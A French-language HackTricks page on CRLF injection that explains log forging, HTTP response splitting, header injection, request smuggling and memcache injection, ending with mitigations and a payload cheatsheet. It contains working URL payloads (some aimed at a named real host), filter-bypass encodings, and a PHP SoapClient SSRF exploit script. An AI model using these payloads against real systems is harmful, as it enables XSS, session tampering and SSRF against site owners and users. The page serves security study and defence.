CRLF (%0D%0A) Injection

Reading time: 11 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

CRLF

Le retour chariot (CR) et le saut de ligne (LF), collectivement connus sous le nom de CRLF, sont des sĂ©quences de caractĂšres spĂ©ciaux utilisĂ©es dans le protocole HTTP pour indiquer la fin d'une ligne ou le dĂ©but d'une nouvelle. Les serveurs web et les navigateurs utilisent CRLF pour distinguer les en-tĂȘtes HTTP du corps d'une rĂ©ponse. Ces caractĂšres sont universellement employĂ©s dans les communications HTTP/1.1 Ă  travers divers types de serveurs web, tels qu'Apache et Microsoft IIS.

CRLF Injection Vulnerability

L'injection CRLF implique l'insertion de caractÚres CR et LF dans des entrées fournies par l'utilisateur. Cette action induit en erreur le serveur, l'application ou l'utilisateur en interprétant la séquence injectée comme la fin d'une réponse et le début d'une autre. Bien que ces caractÚres ne soient pas intrinsÚquement nuisibles, leur mauvaise utilisation peut conduire à un fractionnement de réponse HTTP et à d'autres activités malveillantes.

Example: CRLF Injection in a Log File

Example from here

Considérez un fichier journal dans un panneau d'administration qui suit le format : IP - Heure - Chemin Visité. Une entrée typique pourrait ressembler à :

123.123.123.123 - 08:15 - /index.php?page=home

Un attaquant peut exploiter une injection CRLF pour manipuler ce journal. En injectant des caractĂšres CRLF dans la requĂȘte HTTP, l'attaquant peut modifier le flux de sortie et fabriquer des entrĂ©es de journal. Par exemple, une sĂ©quence injectĂ©e pourrait transformer l'entrĂ©e du journal en :

/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

Ici, %0d et %0a représentent les formes encodées en URL de CR et LF. AprÚs l'attaque, le journal afficherait de maniÚre trompeuse :

IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit

L'attaquant dissimule ainsi ses activitĂ©s malveillantes en faisant apparaĂźtre que le localhost (une entitĂ© gĂ©nĂ©ralement de confiance dans l'environnement serveur) a effectuĂ© les actions. Le serveur interprĂšte la partie de la requĂȘte commençant par %0d%0a comme un seul paramĂštre, tandis que le paramĂštre restrictedaction est analysĂ© comme une autre entrĂ©e distincte. La requĂȘte manipulĂ©e imite efficacement une commande administrative lĂ©gitime : /index.php?page=home&restrictedaction=edit

HTTP Response Splitting

Description

HTTP Response Splitting est une vulnĂ©rabilitĂ© de sĂ©curitĂ© qui survient lorsqu'un attaquant exploite la structure des rĂ©ponses HTTP. Cette structure sĂ©pare les en-tĂȘtes du corps Ă  l'aide d'une sĂ©quence de caractĂšres spĂ©cifique, le Carriage Return (CR) suivi du Line Feed (LF), collectivement appelĂ©s CRLF. Si un attaquant parvient Ă  insĂ©rer une sĂ©quence CRLF dans un en-tĂȘte de rĂ©ponse, il peut efficacement manipuler le contenu de la rĂ©ponse suivante. Ce type de manipulation peut entraĂźner de graves problĂšmes de sĂ©curitĂ©, notamment le Cross-site Scripting (XSS).

XSS Ă  travers HTTP Response Splitting

  1. L'application dĂ©finit un en-tĂȘte personnalisĂ© comme ceci : X-Custom-Header: UserInput
  2. L'application rĂ©cupĂšre la valeur pour UserInput Ă  partir d'un paramĂštre de requĂȘte, disons "user_input". Dans des scĂ©narios manquant de validation et d'encodage appropriĂ©s des entrĂ©es, un attaquant peut crĂ©er un payload qui inclut la sĂ©quence CRLF, suivie de contenu malveillant.
  3. Un attaquant crée une URL avec un 'user_input' spécialement conçu : ?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>
  • Dans cette URL, %0d%0a%0d%0a est la forme encodĂ©e en URL de CRLFCRLF. Cela trompe le serveur en insĂ©rant une sĂ©quence CRLF, faisant en sorte que le serveur traite la partie suivante comme le corps de la rĂ©ponse.
  1. Le serveur reflĂšte l'entrĂ©e de l'attaquant dans l'en-tĂȘte de rĂ©ponse, entraĂźnant une structure de rĂ©ponse non intentionnelle oĂč le script malveillant est interprĂ©tĂ© par le navigateur comme faisant partie du corps de la rĂ©ponse.

Un exemple de HTTP Response Splitting menant Ă  une redirection

From https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62

Browser to:

/%0d%0aLocation:%20http://myweb.com

Et le serveur rĂ©pond avec l'en-tĂȘte :

Location: http://myweb.com

Autre exemple : (de https://www.acunetix.com/websitesecurity/crlf-injection/)

http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E

Dans le chemin URL

Vous pouvez envoyer la charge utile dans le chemin URL pour contrÎler la réponse du serveur (exemple de ici):

http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E

VĂ©rifiez plus d'exemples dans :

bugbounty-cheatsheet/cheatsheets/crlf.md at master \xc2\xb7 EdOverflow/bugbounty-cheatsheet \xc2\xb7 GitHub

Injection d'en-tĂȘte HTTP

L'injection d'en-tĂȘte HTTP, souvent exploitĂ©e par l'injection CRLF (Carriage Return and Line Feed), permet aux attaquants d'insĂ©rer des en-tĂȘtes HTTP. Cela peut compromettre des mĂ©canismes de sĂ©curitĂ© tels que les filtres XSS (Cross-Site Scripting) ou la SOP (Same-Origin Policy), pouvant mener Ă  un accĂšs non autorisĂ© Ă  des donnĂ©es sensibles, telles que des jetons CSRF, ou Ă  la manipulation de sessions utilisateur par le biais de l'injection de cookies.

Exploitation de CORS via l'injection d'en-tĂȘte HTTP

Un attaquant peut injecter des en-tĂȘtes HTTP pour activer CORS (Cross-Origin Resource Sharing), contournant les restrictions imposĂ©es par la SOP. Cette violation permet Ă  des scripts provenant d'origines malveillantes d'interagir avec des ressources d'une origine diffĂ©rente, accĂ©dant potentiellement Ă  des donnĂ©es protĂ©gĂ©es.

SSRF et injection de requĂȘte HTTP via CRLF

L'injection CRLF peut ĂȘtre utilisĂ©e pour crĂ©er et injecter une toute nouvelle requĂȘte HTTP. Un exemple notable de cela est la vulnĂ©rabilitĂ© dans la classe SoapClient de PHP, spĂ©cifiquement dans le paramĂštre user_agent. En manipulant ce paramĂštre, un attaquant peut insĂ©rer des en-tĂȘtes supplĂ©mentaires et du contenu dans le corps, ou mĂȘme injecter une nouvelle requĂȘte HTTP entiĂšrement. Ci-dessous un exemple PHP dĂ©montrant cette exploitation :

php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);

Injection d'en-tĂȘte pour le Request Smuggling

Pour plus d'informations sur cette technique et les problĂšmes potentiels consultez la source originale.

Vous pouvez injecter des en-tĂȘtes essentiels pour garantir que le back-end maintienne la connexion ouverte aprĂšs avoir rĂ©pondu Ă  la demande initiale :

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1

AprĂšs cela, une deuxiĂšme requĂȘte peut ĂȘtre spĂ©cifiĂ©e. Ce scĂ©nario implique gĂ©nĂ©ralement HTTP request smuggling, une technique oĂč des en-tĂȘtes supplĂ©mentaires ou des Ă©lĂ©ments de corps ajoutĂ©s par le serveur aprĂšs l'injection peuvent conduire Ă  diverses exploitations de sĂ©curitĂ©.

Exploitation :

  1. Injection de PrĂ©fixe Malveillant : Cette mĂ©thode consiste Ă  empoisonner la requĂȘte du prochain utilisateur ou un cache web en spĂ©cifiant un prĂ©fixe malveillant. Un exemple de cela est :

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1

  1. CrĂ©ation d'un PrĂ©fixe pour l'Empoisonnement de la File d'Attente de RĂ©ponse : Cette approche consiste Ă  crĂ©er un prĂ©fixe qui, lorsqu'il est combinĂ© avec des dĂ©chets en fin de chaĂźne, forme une seconde requĂȘte complĂšte. Cela peut dĂ©clencher l'empoisonnement de la file d'attente de rĂ©ponse. Un exemple est :

GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1

Injection Memcache

Memcache est un magasin de clés-valeurs qui utilise un protocole en texte clair. Plus d'infos dans :

11211 - Pentesting Memcache

Pour l'information complĂšte, lisez le rapport original

Si une plateforme prend des donnĂ©es d'une requĂȘte HTTP et les utilise sans les assainir pour effectuer des requĂȘtes vers un serveur memcache, un attaquant pourrait abuser de ce comportement pour injecter de nouvelles commandes memcache.

Par exemple, dans la vulnérabilité découverte à l'origine, des clés de cache étaient utilisées pour retourner l'IP et le port auxquels un utilisateur devait se connecter, et les attaquants pouvaient injecter des commandes memcache qui empoisonnaient le cache pour envoyer les détails des victimes (noms d'utilisateur et mots de passe inclus) aux serveurs de l'attaquant :

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop

De plus, les chercheurs ont également découvert qu'ils pouvaient désynchroniser les réponses memcache pour envoyer l'IP et les ports des attaquants à des utilisateurs dont l'attaquant ne connaissait pas l'email :

https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop

Comment Prévenir les Injections CRLF / HTTP Header dans les Applications Web

Pour attĂ©nuer les risques d'injections CRLF (Carriage Return et Line Feed) ou d'injections d'en-tĂȘtes HTTP dans les applications web, les stratĂ©gies suivantes sont recommandĂ©es :

  1. Éviter l'EntrĂ©e Directe de l'Utilisateur dans les En-tĂȘtes de RĂ©ponse : L'approche la plus sĂ»re est de s'abstenir d'incorporer des entrĂ©es fournies par l'utilisateur directement dans les en-tĂȘtes de rĂ©ponse.
  2. Encoder les CaractĂšres SpĂ©ciaux : Si Ă©viter l'entrĂ©e directe de l'utilisateur n'est pas faisable, assurez-vous d'utiliser une fonction dĂ©diĂ©e Ă  l'encodage des caractĂšres spĂ©ciaux comme CR (Carriage Return) et LF (Line Feed). Cette pratique empĂȘche la possibilitĂ© d'injection CRLF.
  3. Mettre Ă  Jour le Langage de Programmation : Mettez rĂ©guliĂšrement Ă  jour le langage de programmation utilisĂ© dans vos applications web vers la derniĂšre version. Optez pour une version qui interdit intrinsĂšquement l'injection de caractĂšres CR et LF dans les fonctions chargĂ©es de dĂ©finir les en-tĂȘtes HTTP.

CHEATSHEET

Cheatsheet from here

1. HTTP Response Splitting
‱ /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
‱ //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
‱ /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
‱ /google.com/%2F..%0D%0AHeader-Test:test2
‱ /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
‱ /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
‱ /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
‱ %E5%98%8A = %0A = \u560a
‱ %E5%98%8D = %0D = \u560d
‱ %E5%98%BE = %3E = \u563e (>)
‱ %E5%98%BC = %3C = \u563c (<)
‱ Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test

Outils Automatiques

Liste de DĂ©tection de Brute-Force

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks